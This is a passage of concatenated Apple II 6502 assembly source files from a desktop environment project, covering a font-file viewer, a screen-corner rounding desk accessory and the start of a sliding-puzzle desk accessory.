jmp CopyParamsMainToAux
.endproc ; GetFileEof
.proc SetFileMark
jsr CopyParamsAuxToMain
sta ALTZPOFF
MLI_CALL SET_MARK, set_mark_params
sta ALTZPON
jmp CopyParamsMainToAux
.endproc ; SetFileMark
.proc CloseFile
jsr CopyParamsAuxToMain
sta ALTZPOFF
MLI_CALL CLOSE, close_params
sta ALTZPON
jmp CopyParamsMainToAux
.endproc ; CloseFile
;;; ============================================================
;;; Copies param blocks from Aux to Main
.proc CopyParamsAuxToMain
copy16 #aux::mli_params, STARTLO
copy16 #aux::mli_params + aux::sizeof_mli_params - 1, ENDLO
copy16 #mli_params, DESTINATIONLO
clc ; aux>main
jmp AUXMOVE
.endproc ; CopyParamsAuxToMain
;;; Copies param blocks from Main to Aux
;;; Preserves A and P
.proc CopyParamsMainToAux
php
pha
copy16 #mli_params, STARTLO
copy16 #mli_params + sizeof_mli_params - 1, ENDLO
copy16 #aux::mli_params, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
pla
plp
rts
.endproc ; CopyParamsMainToAux
;;; Two pages of data are read, but separately.
default_buffer := $1700
kReadLength = $0100
.assert default_buffer + $200 < DA_IO_BUFFER, error, "DA too big"
line_offsets := $1900
kLineOffsetShift = 4 ; every 16th
kLineOffsetDelta = 1 << kLineOffsetShift
;;; ProDOS MLI param blocks
;;; This block gets copied between main/aux
;;; Keep in sync with aux copy!
mli_params:
DEFINE_OPEN_PARAMS open_params, INVOKE_PATH, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS read_params, default_buffer, kReadLength
DEFINE_GET_EOF_PARAMS get_eof_params
DEFINE_SET_MARK_PARAMS set_mark_params, 0
DEFINE_CLOSE_PARAMS close_params
sizeof_mli_params = * - mli_params
.assert sizeof_mli_params = aux::sizeof_mli_params, error, "size mismatch"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 12,503
|
src/desk.acc/show.font.file.s
|
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-----------+ +-----------+
;;; | IO Buffer | | |
;;; $1C00 +-----------+ | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | Font |
;;; | Font | | |
;;; | | +-----------+
;;; +-----------+ | |
;;; | font | | UI code & |
;;; | loader | | resources |
;;; $800 +-----------+ +-----------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; ============================================================
kDAWindowId = $80
kDAWidth = 380
kDAHeight = 140
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr titlebuf
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 2
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr font_buffer
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
titlebuf:
.res 16, 0
;;; ============================================================
.params event_params
kind: .byte 0
;;; EventKind::key_down
key := *
modifiers := * + 1
;;; EventKind::update
window_id := *
;;; otherwise
xcoord := *
ycoord := * + 2
.res 4
.endparams
.params findwindow_params
mousex: .word 0
mousey: .word 0
which_area: .byte 0
window_id: .byte 0
.endparams
.params trackgoaway_params
clicked: .byte 0
.endparams
.params dragwindow_params
window_id: .byte 0
dragx: .word 0
dragy: .word 0
moved: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
.params drawtext_params_char
.addr char_label
.byte 1
.endparams
char_label: .byte 0
;;; ============================================================
.proc Init
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down ; was clicked?
jeq HandleDown
cmp #MGTK::EventKind::key_down ; any key?
jeq HandleKey
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq Exit
jmp InputLoop
END_IF
cmp #CHAR_ESCAPE
jeq Exit
jmp InputLoop
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
copy16 event_params::xcoord, findwindow_params::mousex
copy16 event_params::ycoord, findwindow_params::mousey
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
jne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
jeq InputLoop
jmp Exit
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 winfo::window_id, dragwindow_params::window_id
copy16 event_params::xcoord, dragwindow_params::dragx
copy16 event_params::ycoord, dragwindow_params::dragy
MGTK_CALL MGTK::DragWindow, dragwindow_params
lda dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons (from Main)
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
line1: PASCAL_STRING "\x00 \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0A \x0B \x0C \x0D \x0E \x0F"
line2: PASCAL_STRING "\x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1A \x1B \x1C \x1D \x1E \x1F"
line3: PASCAL_STRING " ! \x22 # $ % & ' ( ) * + , - . /"
line4: PASCAL_STRING "0 1 2 3 4 5 6 7 8 9 : ; < = > ?"
line5: PASCAL_STRING "@ A B C D E F G H I J K L M N O"
line6: PASCAL_STRING "P Q R S T U V W X Y Z [ \x5C ] ^ _"
line7: PASCAL_STRING "` a b c d e f g h i j k l m n o"
line8: PASCAL_STRING "p q r s t u v w x y z { | } ~ \x7F"
kLineCount = 8
line_addrs:
.addr line1, line2, line3, line4, line5, line6, line7, line8
DEFINE_POINT pos, 0, 0
kInitialY = 5
kLineHeight = 15
.proc DrawWindow
ptr := $06
PARAM_BLOCK params, $06
data .addr
len .byte
width .word
END_PARAM_BLOCK
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
copy16 #kInitialY, pos::ycoord
copy8 #0, index
DO
lda index
asl
tax
copy16 line_addrs,x, ptr
ldy #0
lda (ptr),y ; length
sta params::len
add16 ptr, #1, params::data ; offset past length
;; Position the string
MGTK_CALL MGTK::TextWidth, params
sub16 #kDAWidth, params::width, pos::xcoord ; center it
lsr16 pos::xcoord
add16 pos::ycoord, #kLineHeight, pos::ycoord ; next row
MGTK_CALL MGTK::MoveTo, pos
MGTK_CALL MGTK::DrawText, params
inc index
lda index
WHILE_A_NE #kLineCount
MGTK_CALL MGTK::ShowCursor
rts
index: .byte 0
.endproc ; DrawWindow
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
font_buffer := *
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
jmp Entry
INVOKE_PATH := $220
filename: .res 16
DEFINE_OPEN_PARAMS open_params, INVOKE_PATH, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS read_params, font_buffer, kReadLength
DEFINE_CLOSE_PARAMS close_params
;;; ============================================================
.proc Entry
FALL_THROUGH_TO LoadFileAndRunDA
.endproc ; Entry
;;; ============================================================
;;; Load the file
.proc LoadFileAndRunDA
;; TODO: Ensure there's enough room, fail if not
;; --------------------------------------------------
;; Load the file
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
JUMP_TABLE_MLI_CALL OPEN, open_params
IF_CS
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
rts
END_IF
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
JUMP_TABLE_MLI_CALL READ, read_params
php ; preserve error
JUMP_TABLE_MLI_CALL CLOSE, close_params
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
plp
jcs exit
;; --------------------------------------------------
;; Try to verify that this is a font file
lda font_buffer + MGTK::Font::fonttype ; $00 or $80
IF_A_NE_ALL_OF #$00, #$80 ; regular, double-width?
jmp exit
END_IF
lda font_buffer + MGTK::Font::lastchar ; usually $7F
jeq exit
jmi exit
lda font_buffer + MGTK::Font::height ; 1-16
beq exit
cmp #16+1
bcs exit
jsr CalcFontSize
ecmp16 expected_size, read_params::trans_count
bne exit
;; --------------------------------------------------
;; Copy the loaded data to AUX
copy16 #font_buffer, STARTLO
add16 #font_buffer-1, read_params::trans_count, ENDLO
copy16 #aux::font_buffer, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
;; --------------------------------------------------
;; Set window title to filename
ldy INVOKE_PATH
DO
lda INVOKE_PATH,y ; find last '/'
BREAK_IF_A_EQ #'/'
dey
WHILE_NOT_ZERO
ldx #0
DO
copy8 INVOKE_PATH+1,y, filename+1,x ; copy filename
inx
iny
WHILE_Y_NE INVOKE_PATH
stx filename
copy16 #filename, STARTLO
copy16 #filename+kMaxFilenameLength, ENDLO
copy16 #aux::titlebuf, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
;; --------------------------------------------------
;; Run the DA from Aux, back to Main when done
JSR_TO_AUX aux::Init
exit: rts
.endproc ; LoadFileAndRunDA
;;; ============================================================
;;; Calculate expected font file size, given font header
;;; Populates `expected_size`
expected_size:
.word 0
.proc CalcFontSize
copy8 #0, expected_size
;; File size should be 3 + (lastchar + 1) + ((lastchar + 1) * height) * (double?2:1)
ldx font_buffer + MGTK::Font::lastchar
inx ; lastchar + 1
DO
add16_8 expected_size, font_buffer + MGTK::Font::height
dex
WHILE_NOT_ZERO ; = (lastchar + 1) * height
bit font_buffer + MGTK::Font::fonttype
IF_NS
asl16 expected_size ; *= 2 if double width
END_IF
add16_8 expected_size, font_buffer + MGTK::Font::lastchar ; += lastchar
add16_8 expected_size, #4 ; += 3 + 1
rts
.endproc ; CalcFontSize
;;; ============================================================
font_buffer := *
kReadLength = DA_IO_BUFFER-font_buffer
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 3,122
|
src/desk.acc/round.corners.s
|
;;; ============================================================
;;; ROUND.CORNERS - Desk Accessory
;;;
;;; Hack that rounds the corners of the screen.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kRoundWidth = 7
kRoundHeight = 5
grafport:
.tag MGTK::GrafPort
penmode:
.byte MGTK::penBIC
nw_bitmap:
PIXELS "#######"
PIXELS "####..."
PIXELS "##....."
PIXELS "#......"
PIXELS "#......"
.params nw_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr nw_bitmap
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kRoundWidth-1, kRoundHeight-1
.endparams
ne_bitmap:
PIXELS "#######"
PIXELS "...####"
PIXELS ".....##"
PIXELS "......#"
PIXELS "......#"
.params ne_params
DEFINE_POINT viewloc, kScreenWidth-kRoundWidth, 0
mapbits: .addr ne_bitmap
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kRoundWidth-1, kRoundHeight-1
.endparams
sw_bitmap:
PIXELS "#......"
PIXELS "#......"
PIXELS "##....."
PIXELS "####..."
PIXELS "#######"
.params sw_params
DEFINE_POINT viewloc, 0, kScreenHeight-kRoundHeight
mapbits: .addr sw_bitmap
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kRoundWidth-1, kRoundHeight-1
.endparams
se_bitmap:
PIXELS "......#"
PIXELS "......#"
PIXELS ".....##"
PIXELS "...####"
PIXELS "#######"
.params se_params
DEFINE_POINT viewloc, kScreenWidth-kRoundWidth, kScreenHeight-kRoundHeight
mapbits: .addr se_bitmap
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kRoundWidth-1, kRoundHeight-1
.endparams
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
.proc Run
JUMP_TABLE_MGTK_CALL MGTK::InitPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::penmode
JUMP_TABLE_MGTK_CALL MGTK::PaintBits, aux::nw_params
JUMP_TABLE_MGTK_CALL MGTK::PaintBits, aux::ne_params
JUMP_TABLE_MGTK_CALL MGTK::PaintBits, aux::sw_params
JUMP_TABLE_MGTK_CALL MGTK::PaintBits, aux::se_params
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
rts
.endproc ; Run
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 32,076
|
src/desk.acc/puzzle.s
|
;;; ============================================================
;;; PUZZLE - Desk Accessory
;;;
;;; A classic 15-square sliding puzzle.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "puzzle.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
;;; ============================================================
;;; Param Blocks
.include "../lib/event_params.s"
.res 1 ; unused
.params trackgoaway_params
goaway: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
a_grafport: .addr setport_params
.endparams
;; Puzzle piece row/columns
kColWidth = 28
kCol1 = 5
kCol2 = kCol1 + kColWidth
kCol3 = kCol2 + kColWidth
kCol4 = kCol3 + kColWidth
kRowHeight = 16
kRow1 = 3
kRow2 = kRow1 + kRowHeight
kRow3 = kRow2 + kRowHeight
kRow4 = kRow3 + kRowHeight
space_positions: ; left, top for all 16 holes
.word kCol1,kRow1
.word kCol2,kRow1
.word kCol3,kRow1
.word kCol4,kRow1
.word kCol1,kRow2
.word kCol2,kRow2
.word kCol3,kRow2
.word kCol4,kRow2
.word kCol1,kRow3
.word kCol2,kRow3
.word kCol3,kRow3
.word kCol4,kRow3
.word kCol1,kRow4
.word kCol2,kRow4
.word kCol3,kRow4
.word kCol4,kRow4
.params bitmap_table
.addr piece1, piece2, piece3, piece4
.addr piece5, piece6, piece7, piece8
.addr piece9, piece10, piece11, piece12
.addr piece13, piece14, piece15, piece16
.endparams
;; Current position table
position_table:
.res 16, 0
;;; Alternate table - when not yet scrambled (to the user), this is
;;; temporarily swapped in, scrambled, and swapped out every event
;;; loop tick. When (to the user) scrambling happens, it is swapped
;;; in for real.
swapped_table:
.res 16, 0
.params paintbits_params
left: .word 0
top: .word 0
mapbits: .addr 0
mapwidth: .byte 4
.byte 0 ; reserved
DEFINE_RECT maprect, 0, 0, 27, 15
.endparams
piece1:
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS "............................"
piece2:
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".######.........###########."
PIXELS ".###...#.#.#.#.#....#######."
PIXELS "............................"
piece3:
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".################...#######."
PIXELS ".#############..#.#.#.#####."
PIXELS ".###########.#.#.#.#.#.####."
PIXELS ".#########..#.#.#.#.#.#####."
PIXELS ".########..#.#.#.#.#..#####."
PIXELS ".######...#.#.#.#.#..######."
PIXELS ".#####.#.#.#.#.#.#..#######."
PIXELS ".####.#.#.#.#.#...#########."
PIXELS ".###.#.#.#.#.#..###########."
PIXELS ".##.#.#.#.#....############."
PIXELS ".##..#.#.#..###############."
PIXELS ".##.#.#...#########........."
PIXELS ".##....########....#.#.#.#.."
PIXELS "............................"
piece4:
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS "....#######################."
PIXELS ".#.#....###################."
PIXELS "............................"
piece5:
PIXELS ".#########################.."
PIXELS ".#########################.."
PIXELS ".#######################.#.."
PIXELS ".######################.#.#."
PIXELS ".#####################.####."
PIXELS ".####################.#####."
PIXELS ".###################.######."
PIXELS ".##################.#######."
PIXELS ".##################.#######."
PIXELS ".#################.########."
PIXELS ".################.#########."
PIXELS ".################.#########."
PIXELS ".################.##.##.##.."
PIXELS ".###############.##.##.##.#."
PIXELS ".###############.#.##.##.##."
PIXELS "............................"
piece6:
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS "..#.#.#.#.#.#.#.#.#.#.#.#.#."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS "..#.#.#.#.#.#.#.#.#.#.#.#.#."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS ".##.##.##.##.##.##.##.##.##."
PIXELS ".#.##.##.##.##.##.##.##.##.."
PIXELS "............................"
piece7:
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS "..#.#.#.#.#.#.#.#.#.#.#.#.#."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS "..#.#.#.#.#.#.#.#.#.#.#.#.#."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##.##.##.##.##.##.##.##.##."
PIXELS ".#.##.##.##.##.##.##.##.##.."
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS "............................"
piece8:
PIXELS ".#.#.#.#.#...##############."
PIXELS "..#.#.#.#.#.#..############."
PIXELS ".#.#.#.#.#.#.#...##########."
PIXELS "..#.#.#.#.#.#.#...#########."
PIXELS ".#############..###########."
PIXELS ".############.#############."
PIXELS ".###########.##############."
PIXELS ".##########.###############."
PIXELS ".#########.################."
PIXELS ".#########.################."
PIXELS ".########.#################."
PIXELS ".########.#################."
PIXELS ".#.##.##..#################."
PIXELS "..##.##..##################."
PIXELS ".##.##.#.##################."
PIXELS "............................"
piece9:
PIXELS ".################..##.##.##."
PIXELS ".################.##.##.##.."
PIXELS ".################.#.##.##.#."
PIXELS ".################..##.##.##."
PIXELS ".#################.#.#.#.#.."
PIXELS ".#################.#.#.#.#.."
PIXELS ".##################..#.#.#.."
PIXELS ".###################.#.#.#.."
PIXELS ".###################.#.#.#.."
PIXELS ".###################.#.#.#.."
PIXELS ".####################..#.#.."
PIXELS ".#####################..##.."
PIXELS ".######################..##."
PIXELS ".#######################.#.."
PIXELS ".########################.#."
PIXELS "............................"
piece10:
PIXELS ".#.##.##.##.##.##.##.##.##.."
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS ".##.##.##.##.##.##.##.##.##."
PIXELS ".#.##.##.##.##.##.##.##.##.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#..##..##..##..##..##..##.."
PIXELS ".##..##..##..##..##..##..##."
PIXELS ".#..##..##..##..##..##..##.."
PIXELS ".##..##..##..##..##..##..##."
PIXELS "............................"
piece11:
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS ".##.##.##.##.##.##.##.##.##."
PIXELS ".#.##.##.##.##.##.##.##.##.."
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#.#.#.#.#.#.#.#.#.#.#.#.#.."
PIXELS ".#..##..##..##..##..##..##.."
PIXELS ".##..##..##..##..##..##..##."
PIXELS ".#..##..##..##..##..##..##.."
PIXELS ".##..##..##..##..##..##..##."
PIXELS "............................"
piece12:
PIXELS ".##.##.#.##################."
PIXELS ".#.##.##.##################."
PIXELS "..##.##.#.#################."
PIXELS ".##.##.##.#################."
PIXELS ".#.#.#.#.#.################."
PIXELS ".#.#.#.#.#..###############."
PIXELS ".#.#.#.#.#..###############."
PIXELS ".#.#.#.#.#.#.##############."
PIXELS ".#.#.#.#.#.#..#############."
PIXELS ".#.#.#.#.#.#.#..###########."
PIXELS ".#.#.#.#.#.#.#.#..#########."
PIXELS ".#..##..##..##..#.#########."
PIXELS ".##..##..##..##..##########."
PIXELS ".#..##..##..##...##########."
PIXELS ".##..##..##..##.###########."
PIXELS "............................"
piece13: ; the hole
PIXELS ".##########################."
PIXELS ".###.###.###.###.###.###.##."
PIXELS ".##########################."
PIXELS ".#.###.###.###.###.###.###.."
PIXELS ".##########################."
PIXELS ".###.###.###.###.###.###.##."
PIXELS ".##########################."
PIXELS ".#.###.###.###.###.###.###.."
PIXELS ".##########################."
PIXELS ".###.###.###.###.###.###.##."
PIXELS ".##########################."
PIXELS ".#.###.###.###.###.###.###.."
PIXELS ".##########################."
PIXELS ".###.###.###.###.###.###.##."
PIXELS ".##########################."
PIXELS "............................"
piece14:
PIXELS "...##..##..##..##..##..##..."
PIXELS ".#..##..##..##..##..##..##.."
PIXELS ".##..##..##..##..##..##..##."
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS ".#..#.##.##.##.##.##.##.##.."
PIXELS ".##..#.##.##.##.##.##.##.##."
PIXELS ".###..#.##.##.##.##.##.##.#."
PIXELS ".#####..###.##.##.##.##.##.."
PIXELS ".#######...#.##.##.........."
PIXELS ".##########.........#######."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS "............................"
piece15:
PIXELS "...##..##..##..##..##..##..."
PIXELS ".#..##..##..##..##..##..##.."
PIXELS ".##..##..##..##..##..##..##."
PIXELS ".##.##.##.##.##.##.##.##.##."
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS ".#.##.##.##.##.##.##.##.##.."
PIXELS ".##.##.##.##.##.##.##.##.##."
PIXELS "..##.##.##.##.##.##.##.##.#."
PIXELS "..................##.##.##.."
PIXELS ".###############..........#."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS "............................"
piece16:
PIXELS "...##..##..##...###########."
PIXELS ".#..##..##..##.############."
PIXELS ".##..##..##...#############."
PIXELS ".#.##.##.##..##############."
PIXELS ".##.##.##..################."
PIXELS "..##.##..##################."
PIXELS ".#.###..###################."
PIXELS ".#..#######################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS ".##########################."
PIXELS "............................"
.params paintrect_params
DEFINE_RECT rect, 1, 0, kDefaultWidth, kDefaultHeight
.endparams
.params pattern_speckles
.byte %01110111
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
.byte %11011101
.endparams
.params pattern_black
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.endparams
;; line across top of puzzle (bitmaps include bottom edges)
.params moveto_params
xcoord: .word 5
ycoord: .word 2
.endparams
.params line_params
xdelta: .word 112
ydelta: .word 0
.endparams
;; hole position (0..3, 0..3)
hole_x: .byte 0
hole_y: .byte 0
;; click location (0..3, 0..3)
click_x: .byte $00
click_y: .byte $00
;; param for DrawRow/DrawCol
draw_rc: .byte $00
;; params for DrawSelected
draw_end: .byte $00
draw_inc: .byte $00
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
;; SET_STATE params (filled in by QUERY_STATE)
setport_params:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$0D
.byte $00,$00,$20,$80,$00,$00,$00,$00
.byte $00,$2F,$02,$B1,$00,$00,$01,$02
.byte $06
kDefaultLeft = 220
kDefaultTop = 80
kDefaultWidth = 121
kDefaultHeight = 68
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr name
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDefaultWidth
mincontheight: .word kDefaultHeight
maxcontwidth: .word kDefaultWidth
maxcontheight: .word kDefaultHeight
port:
DEFINE_POINT viewloc, kDefaultLeft, kDefaultTop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDefaultWidth, kDefaultHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
winfo_viewloc_ycoord := winfo::viewloc::ycoord
pencopy: .byte MGTK::pencopy
notpenXOR: .byte MGTK::notpenXOR
name: PASCAL_STRING res_string_window_title
scrambled_flag: ; bit7
.byte 0
;;; ============================================================
;;; Create the window
.proc CreateWindow
MGTK_CALL MGTK::OpenWindow, winfo
;; init pieces
ldy #15
DO
tya
sta position_table,y
sta swapped_table,y
dey
WHILE_POS
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
jsr DrawAll
jsr FindHole
FALL_THROUGH_TO InputLoop
.endproc ; CreateWindow
;;; ============================================================
;;; Input loop and processing
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
bit scrambled_flag
IF_NC
jsr PreScramble
END_IF
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr OnClick
jmp InputLoop
END_IF
;; key?
cmp #MGTK::EventKind::key_down
bne InputLoop
jsr CheckKey
jmp InputLoop
.endproc ; InputLoop
;; click - where?
.proc OnClick
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne bail
lda findwindow_params::which_area
IF_ZERO
bail: rts
END_IF
;; client area?
IF_A_EQ #MGTK::Area::content
